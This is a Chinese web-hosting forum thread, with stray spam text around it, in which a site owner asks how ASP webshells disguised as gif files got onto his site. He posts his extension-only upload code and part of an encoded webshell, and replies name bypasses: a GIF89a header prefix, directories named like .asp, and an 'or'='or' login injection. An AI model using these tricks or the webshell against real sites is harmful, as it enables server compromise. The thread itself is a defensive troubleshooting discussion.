伊的家怎么样有谁知道道有关这个GIF的信息吗

后使用快捷导航没有帐号?
只需一步,快速开始
查看: 6350|回复: 14
有谁知道为什么网站被上传后缀改为gif或jpg的asp木马也可以被执行吗?
UID174801在线时间 小时积分407帖子离线17449 天注册时间
中级会员, 积分 407, 距离下一级还需 93 积分
前段时间发现我的网站被挂马了,究其原因,原来也是上传文件造成的。
由于我把上传后缀限制为gif、jpg、bmp三种了,我以为这样就可以高枕无忧了,谁知道还是被上传了木马了。
我检查了一下,发现有好几个后缀是gif的,但用记事本打开却是一个完整的asp木马文件来的。
我很纳闷为什么是gif的也可以执行的吗?怎么会这样子的?有什么办法可以杜绝吗?比如判断文件头等等,有没有相关资料?
UID239159在线时间 小时积分1703帖子离线17449 天注册时间
银牌会员, 积分 1703, 距离下一级还需 1297 积分
图片要通过其它方式还原成asp的文件后缀才能执行吧
btw://你限制文件类型只判断文件后缀?
UID174801在线时间 小时积分407帖子离线17449 天注册时间
中级会员, 积分 407, 距离下一级还需 93 积分
我的网页没有还原的功能呢,也没有恢复数据库这些功能(也没有论坛在上面),就是这点很纳闷他们为什么也能执行。
我的是无组件上传的,是upload_5xsoft的,这个只能判断后缀的了。
UID51780在线时间 小时积分528帖子离线17449 天注册时间
高级会员, 积分 528, 距离下一级还需 472 积分
严重关注下
UID23092在线时间 小时积分21948帖子离线17449 天注册时间
把那几个文件放上来看看
UID194836在线时间 小时积分30帖子离线17449 天注册时间
新手上路, 积分 30, 距离下一级还需 20 积分
你的程序中,有用到FSO的重命名文件名功能的管理后台?再者是管理后台被人侵入,这个可能是有的,请试试防范掉最简单的'or''='漏洞。
延续的blog:
UID174801在线时间 小时积分407帖子离线17449 天注册时间
中级会员, 积分 407, 距离下一级还需 93 积分
以下这个是上传执行程序:
&SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT&
dim upfile_5xSoft_Stream
Class upload_5xSoft
dim Form,File,Version
Private Sub Class_Initialize
dim iStart,iFileNameStart,iFileNameEnd,iEnd,vbEnter,iFormStart,iFormEnd,theFile
dim strDiv,mFormName,mFormValue,mFileName,mFileSize,mFilePath,iDivLen,mStr
Version=&上传&
if Request.TotalBytes&1 then Exit Sub
set Form=CreateObject(&Scripting.Dictionary&)
set File=CreateObject(&Scripting.Dictionary&)
set upfile_5xSoft_Stream=CreateObject(&Adodb.Stream&)
upfile_5xSoft_Stream.mode=3
upfile_5xSoft_Stream.type=1
upfile_5xSoft_Stream.open
upfile_5xSoft_Stream.write Request.BinaryRead(Request.TotalBytes)
vbEnter=Chr(13)&Chr(10)
iDivLen=inString(1,vbEnter)+1
strDiv=subString(1,iDivLen)
iFormStart=iDivLen
iFormEnd=inString(iformStart,strDiv)-1
while iFormStart & iFormEnd
iStart=inString(iFormStart,&name=&&&)
iEnd=inString(iStart+6,&&&&)
mFormName=subString(iStart+6,iEnd-iStart-6)
iFileNameStart=inString(iEnd+1,&filename=&&&)
if iFileNameStart&0 and iFileNameStart&iFormEnd then
iFileNameEnd=inString(iFileNameStart+10,&&&&)
mFileName=subString(iFileNameStart+10,iFileNameEnd-iFileNameStart-10)
iStart=inString(iFileNameEnd+1,vbEnter&vbEnter)
iEnd=inString(iStart+4,vbEnter&strDiv)
if iEnd&iStart then
mFileSize=iEnd-iStart-4
mFileSize=0
set theFile=new FileInfo
theFile.FileName=getFileName(mFileName)
theFile.FilePath=getFilePath(mFileName)
theFile.FileSize=mFileSize
theFile.FileStart=iStart+4
theFile.FormName=FormName
file.add mFormName,theFile
iStart=inString(iEnd+1,vbEnter&vbEnter)
iEnd=inString(iStart+4,vbEnter&strDiv)
if iEnd&iStart then
mFormValue=subString(iStart+4,iEnd-iStart-4)
mFormValue=&&
form.Add mFormName,mFormValue
iFormStart=iformEnd+iDivLen
iFormEnd=inString(iformStart,strDiv)-1
Private Function subString(theStart,theLen)
dim i,c,stemp
upfile_5xSoft_Stream.Position=theStart-1
for i=1 to theLen
if upfile_5xSoft_Stream.EOS then Exit for
c=ascB(upfile_5xSoft_Stream.Read(1))
If c & 127 Then
if upfile_5xSoft_Stream.EOS then Exit for
stemp=stemp&Chr(AscW(ChrB(AscB(upfile_5xSoft_Stream.Read(1)))&ChrB(c)))
stemp=stemp&Chr(c)
subString=stemp
End function
Private Function inString(theStart,varStr)
dim i,j,bt,theLen,str
InString=0
Str=toByte(varStr)
theLen=LenB(Str)
for i=theStart to upfile_5xSoft_Stream.Size-theLen
if i&upfile_5xSoft_Stream.size then exit Function
upfile_5xSoft_Stream.Position=i-1
if AscB(upfile_5xSoft_Stream.Read(1))=AscB(midB(Str,1)) then
InString=i
for j=2 to theLen
if upfile_5xSoft_Stream.EOS then
inString=0
if AscB(upfile_5xSoft_Stream.Read(1))&&AscB(MidB(Str,j,1)) then
InString=0
if InString&&0 then Exit Function
End Function
Private Sub Class_Terminate
form.RemoveAll
file.RemoveAll
set form=nothing
set file=nothing
upfile_5xSoft_Stream.close
set upfile_5xSoft_Stream=nothing
Private function GetFilePath(FullPath)
If FullPath && && Then
GetFilePath = left(FullPath,InStrRev(FullPath, &\&))
GetFilePath = &&
End&&function
Private function GetFileName(FullPath)
If FullPath && && Then
GetFileName = mid(FullPath,InStrRev(FullPath, &\&)+1)
GetFileName = &&
End&&function
Private function toByte(Str)
dim i,iCode,c,iLow,iHigh
For i=1 To Len(Str)
c=mid(Str,i,1)
iCode =Asc(c)
If iCode&0 Then iCode = iCode + 65535
If iCode&255 Then
iLow = Left(Hex(Asc(c)),2)
iHigh =Right(Hex(Asc(c)),2)
toByte = toByte & chrB(&&H&&iLow) & chrB(&&H&&iHigh)
toByte = toByte & chrB(AscB(c))
End function
Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileStart
Private Sub Class_Initialize
FileName = &&
FilePath = &&
FileSize = 0
FileStart= 0
FormName = &&
Public function SaveAs(FullPath)
dim dr,ErrorChar,i
if lcase(mid(file.FileName,InStrRev(file.FileName, &.&)+1))&&&gif& and lcase(mid(file.FileName,InStrRev(file.FileName, &.&)+1))&&&jpg& and lcase(mid(file.FileName,InStrRev(file.FileName, &.&)+1))&&&bmp& then exit function
if trim(fullpath)=&& or FileSize=0 or FileStart=0 or FileName=&& then exit function
if FileStart=0 or right(fullpath,1)=&/& then exit function
set dr=CreateObject(&Adodb.Stream&)
upfile_5xSoft_Stream.position=FileStart-1
upfile_5xSoft_Stream.copyto dr,FileSize
dr.SaveToFile FullPath,2
set dr=nothing
end function
UID174801在线时间 小时积分407帖子离线17449 天注册时间
中级会员, 积分 407, 距离下一级还需 93 积分
很有趣的是你们看一下我在上面找到的这个ASP木马,就算是检测文件头估计也会被跳过:
&%@ LANGUAGE = VBScript.Encode %&
&%#@~^aRMBAA==@#@&?nM\DRUmMrwDKr:W;O{,,O1,O,,O@#@&I/aWU/n ~EW0.P{Y.;@#@&6U,2.DK.,InkEs+Pg+XO@#@&jd+MnCdk'J+f W%GO{E@#@&:glh+xE傾城の戀专用S+8/4nV^P$z,$? & & & & cKDJ@#@&UkOj&S'rCDOw=z&hSh 4mm3KsR1W:r@#@&ZKwHDro4O{J注:请勿用于非法用途,否则后果作者概不负责E@#@&)f{J联系方法~业务}5:%&+{WvqJ,@#@&ZGaXMko4YyxPr注:请勿用于非法用途,否则后果作者概不负责J@#@&@#@&jnM\+M ?1DkaOPks
....................................
(由于很长,论坛限制,只帖一部份)
................................
(PUtGh3.M`b@#@&~P&0~3MDPP4x@#@&,~,P]&?r@!4M@*@!CP4Dn0{B%C7l/1.kaY)4rdYKDHR8l^Vv#v@*@!8D@*[U8kwiE~LP3DM G+d1DbwYbW& & & & ~[,J@!zm@*@!8M@*J@#@&P,PPA..R;Vl.)]nkwGxknRwV;d4@#@&~~Ax[P&W@#@&n& & & & N,/E(@#@&jE(P]IU`dOM#@#@&7D^#~@%&& && &&/body&&/html&
UID295058在线时间 小时积分1791帖子离线17449 天注册时间
银牌会员, 积分 1791, 距离下一级还需 1209 积分
只要有脚本执行权限&&就会执行SCRIPT
UID183284在线时间 小时积分8518帖子离线17449 天注册时间
跳过检测文件头太简单了,GIF89a就可以了
如果你认为后缀名是gif的木马会被执行,你可以看看他所在目录是不是aaa.asp这样的,这个&gif&文件会被作为asp文件由asp.dll解析
UID174801在线时间 小时积分407帖子离线17449 天注册时间
中级会员, 积分 407, 距离下一级还需 93 积分
原帖由 [i]cncontinue 于
17:17 发表
你的程序中,有用到FSO的重命名文件名功能的管理后台?再者是管理后台被人侵入,这个可能是有的,请试试防范掉最简单的'or''='漏洞。
延续的blog:
后台没有引用到FSO的重命名功能,但是后台被进入确定是有了,因为我在数据库的管理员登录记录里看到了曾经有人用:'or'='or'(加色的都是)这个用户名来登录。
UID174801在线时间 小时积分407帖子离线17449 天注册时间
中级会员, 积分 407, 距离下一级还需 93 积分
原帖由 [i]hanguofeng 于
17:35 发表
跳过检测文件头太简单了,GIF89a就可以了
如果你认为后缀名是gif的木马会被执行,你可以看看他所在目录是不是aaa.asp这样的,这个&gif&文件会被作为asp文件由asp.dll解析
这个倒是没有发现
UID252327在线时间 小时积分2223帖子离线17449 天注册时间
银牌会员, 积分 2223, 距离下一级还需 777 积分
用aspupload可以真正识别文件类型
UID23092在线时间 小时积分21948帖子离线17449 天注册时间
好像没有屏蔽上传漏洞。你搜索一下有关动网上传的漏洞看看。应该是有什么ASP文件被上传了。如果只是在GIF文件里加入脚本就可以被执行了,那还有屁的安全可言。
[[i] 本帖最后由 cjj 于
08:29 编辑 ]
UID382902在线时间 小时积分709帖子离线17449 天注册时间
高级会员, 积分 709, 距离下一级还需 291 积分
服务器的权限配置下,把所有ASP的目录配置成有读取权限,没有写入权限,把上传目录配置成.有写入权限,没有执行权限
Powered by有谁知道这个小孩踢足球过人的GIF出处?_百度宝宝知道

我要回帖

更多关于 有谁知道黄的网站2017 的文章

 

随机推荐